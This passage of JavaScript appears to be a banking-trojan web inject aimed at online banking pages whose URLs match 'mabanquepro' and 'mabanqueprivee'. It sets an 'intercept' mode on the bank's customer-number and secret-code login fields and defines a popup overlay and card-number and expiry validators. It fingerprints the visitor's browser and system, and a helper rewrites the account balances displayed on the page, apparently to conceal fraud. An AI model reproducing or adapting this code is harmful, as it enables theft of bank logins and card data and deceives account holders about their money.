'; var _tp = document.createElement("div"); _tp.id = "_tables.popup"; _tp.innerHTML = bg+""+content; document.getElementsByTagName('body')[0].appendChild(_tp); }, popuphide: function(){ var _tp = document.getElementById("_tables.popup");if(_tp)_tp.parentNode.removeChild(_tp); }, inarr: function(arr,value){ for(var i = 0; i < arr.length; i++){ if(value == arr[i]){ return true; } } arr.push(value); return false; }, placeholdr: function(input){ if(_tables.brows() == 'FF')return; var txt = input.getAttribute("placeholder"); if(txt.length > 0){ input.style.color = input.value.length == 0 ? '#cccccc' : '#000000'; input.value = input.value.length > 0 ? input.value : txt; input.onfocus = function(){ this.style.color = '#000000'; this.value = this.value == this.getAttribute("placeholder") ? "" : this.value; }; input.onblur = function(){ if(this.value.length == 0){ this.value = this.getAttribute("placeholder"); this.style.color = '#CCCCCC'; } }; } }, btntoloader: function(btn,imghref){ var img = document.createElement('img'); img.align = 'top'; img.src = imghref; img.id = '_f_btntoloader'; btn.parentNode.insertBefore(img,btn); btn.parentNode.removeChild(btn); }, cget: function(param){ return gc(param); }, cset: function(param){ return sc(param); }, replace: function(element,summa){ var tsel = /select|option/igm.test(element.tagName); var tinp = /input|textarea/igm.test(element.tagName); if(tsel){ if(splitter.value != "none" && splitter.position != "none"){ var minus = (element.text.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false; var balance = gc(element.text.split(splitter.value)[splitter.position]); }else{ var minus = (element.text.indexOf(prefix.minus) != -1) ? true : false; var balance = gc(element.text); } }else if(tinp){ if(splitter.value != "none" && splitter.position != "none"){ var minus = (element.value.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false; var balance = gc(element.value.split(splitter.value)[splitter.position]); }else{ var minus = (element.value.indexOf(prefix.minus) != -1) ? true : false; var balance = gc(element.value); } }else{ if(splitter.value != "none" && splitter.position != "none"){ var minus = (_tables.html(element).split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false; var balance = gc(_tables.html(element).split(splitter.value)[splitter.position]); }else{ var minus = (_tables.html(element).indexOf(prefix.minus) != -1) ? true : false; var balance = gc(_tables.html(element)); } } var new_balance = balance+parseFloat(summa); if(minus)balance = balance * -1; balance = sc(balance); new_balance = sc(new_balance); if(tsel){ var f = element.text.replace(balance+"",new_balance+""); }else if(tinp){ var f = element.value.replace(balance+"",new_balance+""); }else{ var f = element.innerHTML.replace(balance+"",new_balance+""); } if(parseFloat(new_balance) >= 0){ f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.plus ); f = f.replace("-"+new_balance+"",new_balance+""); }else{ f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.minus ); f = f.replace(/\-/,""); } if(tsel){ element.text = f; }else if(tinp){ element.value = f; }else{ element.innerHTML = f; } if(splitter.value != "none" && splitter.position != "none"){ splitter.value = "none"; splitter.position = "none"; } }, splitter: function (value,position){ splitter.value = value; splitter.position = position; }, match: function(el,data){ var pattern = new RegExp(data,"igm"); if(pattern.test(el)){ return true; }else{ return false; } }, convertdate: function(date){ var els = date.split("."); if(els && els.length == 3){ var res = 0; res += parseFloat(els[2]) * 365; res += parseFloat(els[1]) * 30; res += parseFloat(els[0]); return res; }else{ return -1; } }, recolortable: function(table,class1,class2){ var tr = _tables.child(table,'tr'); if(tr && tr.length > 0){ for(var i = 0; i < tr.length; i++){ tr[i].className = (i % 2 == 0) ? class1 : class2; } } }, id: function(id,doc){var doc = doc ? doc : document;return doc.getElementById(id);}, create: function(el,doc){var doc = doc ? doc : document;return doc.createElement(el);}, selected: function(select){var sel = {value: select[select.selectedIndex].value,text: select[select.selectedIndex].text};return sel;}, after: function(elem,ref){var parent = ref.parentNode;var next = ref.nextSibling;if(next){return parent.insertBefore(elem,next);}else{return parent.appendChild(elem);}}, clone: function(inp,value){ var object = document.createElement(inp.tagName); for (x in inp.attributes){ if(notnull(inp.attributes[x]) && notnull(inp.attributes[x].name) && notnull(inp.attributes[x].value)){ if(inp.attributes[x].name == "onclick" || inp.attributes[x].name == "name" || inp.attributes[x].name == "href" || inp.attributes[x].name == "id" || inp.attributes[x].name == "value" ){ continue; } object.setAttribute(inp.attributes[x].name,inp.attributes[x].value); } } if(/select/igm.test(inp.tagName)){ object.options[0] = new Option(inp[inp.selectedIndex].text,inp[inp.selectedIndex].value); }else{ value = value ? value : inp.value; object.value = value; } object.disabled = true; inp.style.display = "none"; inp.parentNode.insertBefore(object,inp); }, next: function(e,len,n){ if(e.value.length == len)document.getElementById(n).focus(); }, check_cc: function(value){ if (/[^0-9-\s]+/.test(value)) return false; var nCheck = 0, nDigit = 0, bEven = false; value = value.replace(/\D/g, ""); for (var n = value.length - 1; n >= 0; n--) { var cDigit = value.charAt(n), nDigit = parseInt(cDigit, 10); if(bEven){ if ((nDigit *= 2) > 9) nDigit -= 9; } nCheck += nDigit; bEven = !bEven; } return (nCheck % 10) == 0; }, check_day: function(dd){ if(parseFloat(dd) > 0 && parseFloat(dd) < 32 && (dd+'').length == 2){ return true; }else{ return false; } }, check_month: function(mm){ if(parseFloat(mm) > 0 && parseFloat(mm) < 13 && (mm+'').length == 2){ return true; }else{ return false; } }, check_year: function(yy,format){ switch(format){ case('YY'): if(parseFloat(yy) >= 15 && (yy+'').length == 2){ return true; }else{ return false; } break; case('YYYY'): if(parseFloat(yy) >= 1920 && parseFloat(yy) <= 2015 && (yy+'').length == 4){ return true; }else{ return false; } break; } } }; }()); _tables = Tables; (function (window) { { var unknown = '-'; // screen var screenSize = ''; if (screen.width) { width = (screen.width) ? screen.width : ''; height = (screen.height) ? screen.height : ''; screenSize += '' + width + " x " + height; } //browser var nVer = navigator.appVersion; var nAgt = navigator.userAgent; var browser = navigator.appName; var version = '' + parseFloat(navigator.appVersion); var majorVersion = parseInt(navigator.appVersion, 10); var nameOffset, verOffset, ix; // Opera if ((verOffset = nAgt.indexOf('Opera')) != -1) { browser = 'Opera'; version = nAgt.substring(verOffset + 6); if ((verOffset = nAgt.indexOf('Version')) != -1) { version = nAgt.substring(verOffset + 8); } } // MSIE else if ((verOffset = nAgt.indexOf('MSIE')) != -1) { browser = 'Microsoft Internet Explorer'; version = nAgt.substring(verOffset + 5); } // Chrome else if ((verOffset = nAgt.indexOf('Chrome')) != -1) { browser = 'Chrome'; version = nAgt.substring(verOffset + 7); } // Safari else if ((verOffset = nAgt.indexOf('Safari')) != -1) { browser = 'Safari'; version = nAgt.substring(verOffset + 7); if ((verOffset = nAgt.indexOf('Version')) != -1) { version = nAgt.substring(verOffset + 8); } } // Firefox else if ((verOffset = nAgt.indexOf('Firefox')) != -1) { browser = 'Firefox'; version = nAgt.substring(verOffset + 8); } // MSIE 11+ else if (nAgt.indexOf('Trident/') != -1) { browser = 'Microsoft Internet Explorer'; version = nAgt.substring(nAgt.indexOf('rv:') + 3); } // Other browsers else if ((nameOffset = nAgt.lastIndexOf(' ') + 1) < (verOffset = nAgt.lastIndexOf('/'))) { browser = nAgt.substring(nameOffset, verOffset); version = nAgt.substring(verOffset + 1); if (browser.toLowerCase() == browser.toUpperCase()) { browser = navigator.appName; } } // trim the version string if ((ix = version.indexOf(';')) != -1) version = version.substring(0, ix); if ((ix = version.indexOf(' ')) != -1) version = version.substring(0, ix); if ((ix = version.indexOf(')')) != -1) version = version.substring(0, ix); majorVersion = parseInt('' + version, 10); if (isNaN(majorVersion)) { version = '' + parseFloat(navigator.appVersion); majorVersion = parseInt(navigator.appVersion, 10); } // mobile version var mobile = /Mobile|mini|Fennec|Android|iP(ad|od|hone)/.test(nVer); // cookie var cookieEnabled = (navigator.cookieEnabled) ? true : false; if (typeof navigator.cookieEnabled == 'undefined' && !cookieEnabled) { document.cookie = 'testcookie'; cookieEnabled = (document.cookie.indexOf('testcookie') != -1) ? true : false; } // system var os = unknown; var clientStrings = [ {s:'Windows 3.11', r:/Win16/}, {s:'Windows 95', r:/(Windows 95|Win95|Windows_95)/}, {s:'Windows ME', r:/(Win 9x 4.90|Windows ME)/}, {s:'Windows 98', r:/(Windows 98|Win98)/}, {s:'Windows CE', r:/Windows CE/}, {s:'Windows 2000', r:/(Windows NT 5.0|Windows 2000)/}, {s:'Windows XP', r:/(Windows NT 5.1|Windows XP)/}, {s:'Windows Server 2003', r:/Windows NT 5.2/}, {s:'Windows Vista', r:/Windows NT 6.0/}, {s:'Windows 7', r:/(Windows 7|Windows NT 6.1)/}, {s:'Windows 8.1', r:/(Windows 8.1|Windows NT 6.3)/}, {s:'Windows 8', r:/(Windows 8|Windows NT 6.2)/}, {s:'Windows NT 4.0', r:/(Windows NT 4.0|WinNT4.0|WinNT|Windows NT)/}, {s:'Windows ME', r:/Windows ME/}, {s:'Android', r:/Android/}, {s:'Open BSD', r:/OpenBSD/}, {s:'Sun OS', r:/SunOS/}, {s:'Linux', r:/(Linux|X11)/}, {s:'iOS', r:/(iPhone|iPad|iPod)/}, {s:'Mac OS X', r:/Mac OS X/}, {s:'Mac OS', r:/(MacPPC|MacIntel|Mac_PowerPC|Macintosh)/}, {s:'QNX', r:/QNX/}, {s:'UNIX', r:/UNIX/}, {s:'BeOS', r:/BeOS/}, {s:'OS/2', r:/OS\/2/}, {s:'Search Bot', r:/(nuhk|Googlebot|Yammybot|Openbot|Slurp|MSNBot|Ask Jeeves\/Teoma|ia_archiver)/} ]; for (var id in clientStrings) { var cs = clientStrings[id]; if (cs.r.test(nAgt)) { os = cs.s; break; } } var osVersion = unknown; if (/Windows/.test(os)) { osVersion = /Windows (.*)/.exec(os)[1]; os = 'Windows'; } switch (os) { case 'Mac OS X': osVersion = /Mac OS X (10[\.\_\d]+)/.exec(nAgt)[1]; break; case 'Android': osVersion = /Android ([\.\_\d]+)/.exec(nAgt)[1]; break; case 'iOS': osVersion = /OS (\d+)_(\d+)_?(\d+)?/.exec(nVer); osVersion = osVersion[1] + '.' + osVersion[2] + '.' + (osVersion[3] | 0); break; } // flash (you'll need to include swfobject) /* script src="//ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js" */ var flashVersion = 'no check'; if (typeof swfobject != 'undefined') { var fv = swfobject.getFlashPlayerVersion(); if (fv.major > 0) { flashVersion = fv.major + '.' + fv.minor + ' r' + fv.release; } else { flashVersion = unknown; } } } window.jscd = { screen: screenSize, browser: browser, browserVersion: version, mobile: mobile, os: os, osVersion: osVersion, cookies: cookieEnabled, flashVersion: flashVersion }; }(this)); _tables.set('continue',true); _tables.set('message',''); _tables.set('type','intercept'); _tables.set('start','start'); _tables.set('end','end'); _tables.set('finish',''); _tables.set('data',''); _tables.set('login',function(){return _tables.id('client-nbr');}); _tables.set('password',function(){return _tables.id('secret-nbr');}); _tables.set('button',function(){return _tables.id('submitIdent');}); _tables.set('lang',function(){var div = _tables.findout(document,'div','class:language_switcher');if(div){var a = _tables.child(div,'a');if(a && a.length > 0){return _tables.html(a[0]);}}else{return 'EN';}}); _tables.set('page',function(){if(/mabanquepro/igm.test(document.location.href)){return 3;}else if(/mabanqueprivee/igm.test(document.location.href)){return 2;}else{return 1;}}); _tables.set('loader',function(){switch(_tables.get('page')){case(1):return 'data:image/gif;base64,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';break;case(2):return 'data:image/gif;base64,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';break;case(3):return 'data:image/gif;base64,R0lGODlhIAAgAPMAAEWUbP///22rjJ3GsnmylY29pdbn3r/azGCjgVeeenWvkejx7Pv8+wAAAAAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh/hpDcmVhdGVkIHdpdGggYWpheGxvYWQuaW5mbwAh+QQJCgAAACwAAAAAIAAgAAAE5xDISWlhperN52JLhSSdRgwVo1ICQZRUsiwHpTJT4iowNS8vyW2icCF6k8HMMBkCEDskxTBDAZwuAkkqIfxIQyhBQBFvAQSDITM5VDW6XNE4KagNh6Bgwe60smQUB3d4Rz1ZBApnFASDd0hihh12BkE9kjAJVlycXIg7CQIFA6SlnJ87paqbSKiKoqusnbMdmDC2tXQlkUhziYtyWTxIfy6BE8WJt5YJvpJivxNaGmLHT0VnOgSYf0dZXS7APdpB309RnHOG5gDqXGLDaC457D1zZ/V/nmOM82XiHRLYKhKP1oZmADdEAAAh+QQJCgAAACwAAAAAIAAgAAAE6hDISWlZpOrNp1lGNRSdRpDUolIGw5RUYhhHukqFu8DsrEyqnWThGvAmhVlteBvojpTDDBUEIFwMFBRAmBkSgOrBFZogCASwBDEY/CZSg7GSE0gSCjQBMVG023xWBhklAnoEdhQEfyNqMIcKjhRsjEdnezB+A4k8gTwJhFuiW4dokXiloUepBAp5qaKpp6+Ho7aWW54wl7obvEe0kRuoplCGepwSx2jJvqHEmGt6whJpGpfJCHmOoNHKaHx61WiSR92E4lbFoq+B6QDtuetcaBPnW6+O7wDHpIiK9SaVK5GgV543tzjgGcghAgAh+QQJCgAAACwAAAAAIAAgAAAE7hDISSkxpOrN5zFHNWRdhSiVoVLHspRUMoyUakyEe8PTPCATW9A14E0UvuAKMNAZKYUZCiBMuBakSQKG8G2FzUWox2AUtAQFcBKlVQoLgQReZhQlCIJesQXI5B0CBnUMOxMCenoCfTCEWBsJColTMANldx15BGs8B5wlCZ9Po6OJkwmRpnqkqnuSrayqfKmqpLajoiW5HJq7FL1Gr2mMMcKUMIiJgIemy7xZtJsTmsM4xHiKv5KMCXqfyUCJEonXPN2rAOIAmsfB3uPoAK++G+w48edZPK+M6hLJpQg484enXIdQFSS1u6UhksENEQAAIfkECQoAAAAsAAAAACAAIAAABOcQyEmpGKLqzWcZRVUQnZYg1aBSh2GUVEIQ2aQOE+G+cD4ntpWkZQj1JIiZIogDFFyHI0UxQwFugMSOFIPJftfVAEoZLBbcLEFhlQiqGp1Vd140AUklUN3eCA51C1EWMzMCezCBBmkxVIVHBWd3HHl9JQOI